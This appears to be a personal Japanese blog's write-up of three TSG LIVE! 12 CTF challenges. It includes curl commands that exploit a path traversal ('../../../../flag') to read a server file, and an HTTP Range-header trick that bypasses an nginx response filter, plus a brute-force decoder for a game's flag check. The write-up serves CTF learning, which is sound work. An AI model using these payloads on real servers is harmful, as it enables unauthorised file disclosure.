st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TSG LIVE! 12 CTF writeup

5/18に1時間40分という短さで開催された。BunkyoWesternsからはᎢᏚᏀ-Purpleとꓔꓢꓖ-Violet(いずれも \u0054\u0053\u0047 でないことに注意)の2つのTSGのパチモンチームが参加した。私はꓔꓢꓖ-Violetの方でホンドギツネヌオーとともにホンドタヌキとして参加し、1位。Webで2問、Revで1問を解いたけれども、いずれもfirst bloodを取れて嬉しい。


[Web 100] omikuji (10 solves)

次のようなおみくじアプリが与えられる。おみくじを引いた後に「結果を保存する」ボタンを押すと /result/6833e207.html というようなパスへのリンクが表示され、このページから過去のおみくじの結果を確認できる。

問題文によると、フラグは /flag というファイルに存在しているらしい。ソースコードを確認し、/flag を読み出せるような脆弱性がないか探す。「結果を保存する」ボタンを押すと /save に対して daikichikyo といったおみくじの結果がPOSTされるのだけれども、この処理は次の通り。

同じディレクトリの daikichikyo といったファイルを読み出してHTMLに保存するのが正常系の動作だけれども、このユーザから与えられたパスのチェックが一切ない。パストラバーサルによって /flag を読み出せるのではないか。

async function getResultContent(type) {
  return await readFile(`${import.meta.dirname}/${type}`, 'utf-8')
}
// …
app.post('/save', async c => {
  const type = await c.req.text()
  const content = await getResultContent(type)
  const filename = randomString()
  await writeFile(`${import.meta.dirname}/public/result/${filename}.html`, html`
<!DOCTYPE html>

</html>
  `)
  return c.json({
    location: `/result/${filename}.html`
  })
})

次のように ../../../../flag を指定してやると、無事に「おみくじ」の結果が保存された。

$ curl 'http://(省略)/save' -H 'Content-Type: text/plain' --data-raw '../../../../flag'
{"location":"/result/3606582a.html"}

返ってきたパスにアクセスすると、フラグが得られた。

TSGLIVE{1_knew_at_f1rst_g1ance_that_1t_was_so_0rdin4ry_path_traversal}

[Web 150] omikuji2 (7 solves)

omikujiと同じアプリだが、ソースコードの一部が異なっている。diffは次の通り。大きな変更点は nginx/default.conf.template で、レスポンスにフラグが含まれていると ### CENSORED ### に置き換えられてしまう。

diff -ru ../../omikuji/omikuji/app/package-lock.json ./app/package-lock.json
--- ../../omikuji/omikuji/app/package-lock.json 2024-05-18 22:00:00.000000000 +0900
+++ ./app/package-lock.json     2024-05-18 22:00:00.000000000 +0900
@@ -1,10 +1,10 @@
 {
-  "name": "omikuji",
+  "name": "omikuji2",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
-      "name": "omikuji",
+      "name": "omikuji2",
       "dependencies": {
         "@hono/node-server": "^1.11.1",
         "hono": "^4.3.7"
diff -ru ../../omikuji/omikuji/app/package.json ./app/package.json
--- ../../omikuji/omikuji/app/package.json      2024-05-18 22:00:00.000000000 +0900
+++ ./app/package.json  2024-05-18 22:00:00.000000000 +0900
@@ -1,6 +1,6 @@
 {
   "private": true,
-  "name": "omikuji",
+  "name": "omikuji2",
   "type": "module",
   "dependencies": {
     "@hono/node-server": "^1.11.1",
diff -ru ../../omikuji/omikuji/compose.yaml ./compose.yaml
--- ../../omikuji/omikuji/compose.yaml  2024-05-18 22:00:00.000000000 +0900
+++ ./compose.yaml      2024-05-18 22:00:00.000000000 +0900
@@ -11,7 +11,7 @@
     init: true
     image: nginx:1.26.0-alpine
     ports:
-      - 3456:80
+      - 3457:80
     volumes:
       - ./nginx/default.conf.template:/etc/nginx/templates/default.conf.template:ro
     environment:
diff -ru ../../omikuji/omikuji/nginx/default.conf.template ./nginx/default.conf.template
--- ../../omikuji/omikuji/nginx/default.conf.template   2024-05-18 22:00:00.000000000 +0900
+++ ./nginx/default.conf.template       2024-05-18 22:00:00.000000000 +0900
@@ -5,6 +5,8 @@
   server_name _;

   location / {
+    sub_filter "${FLAG}" "### CENSORED ###";
+    sub_filter_once off;
     proxy_pass http://app:3000;
   }
 }

ただ、/save のパストラバーサルの脆弱性はそのまま残っている。この脆弱性でまずフラグの含まれるファイルを保存させ、そしてレスポンスについては Range ヘッダを使って、フラグが丸ごと入らないよう切り取ってやればよい。

$ curl http://(省略)/result/1a0d3951.html -r 284-
SGLIVE{wh3re_1s_my_f1ag?_1s_b1ue_b1rd_1ns1de?}
</pre>
    <a href="/">トップに戻る</a>
</body>
</html>
TSGLIVE{wh3re_1s_my_f1ag?_1s_b1ue_b1rd_1ns1de?}

[Rev 150] Wolf (5 solves)

WOLF RPGエディターで作成されたゲームが与えられる。宝箱に触れると、次のように flag? と聞かれ、フラグの入力を促される。適当な文字列を入力すると Wrong… と怒られた。

ありがたいことに、マップデータ等々が入っている Data フォルダがそのままウディタで編集可能な形で残っている。ウディタをダウンロードしてきて、編集を試みる。宝箱のイベントは次のようになっていた。入力した文字列をなんかいい感じに変換した結果が TKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTY になればよいらしい。

Pythonでこのエンコード処理を再現する。頭から1文字ずつブルートフォースすればよさそうな見た目をしているので、1文字ずつエンコードを試し、その結果がターゲットとなっている文字列の対応する文字と一致していれば正解とするようなスクリプトを書く。

def encode(s1):
    s2 = '{}QWERTYUIOPASDFGHJKLZXCVBNM_'
    s3 = ''
    v0 = 0
    v1 = 0

    for s4 in s1:
        v2 = 0
        s5 = s2
        for s6 in s5:
            if s4 == s6:
                v0 += v2
            v2 += 1
            if v2 >= 29:
                break
        v0 %= 29
        s5 = s2
        v2 = 0
        for s6 in s5:
            if v2 >= v0:
                break
            v2 += 1
        s3 += s6
        v1 += v1
        if v1 >= 51:
            break
    return s3

target = 'TKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTY'
flag = ''
for i, c in enumerate(target):
    for d in '{}QWERTYUIOPASDFGHJKLZXCVBNM_':
        if encode(flag + d)[-1] == c:
            flag += d
            print(flag)
            break

実行するとフラグが得られた。

$ python3 solve.py
…
TSGLIVE{WE_CAN_EASIRY_REVERSE_NON_ENCRYPTED_WOLVES}
TSGLIVE{WE_CAN_EASIRY_REVERSE_NON_ENCRYPTED_WOLVES}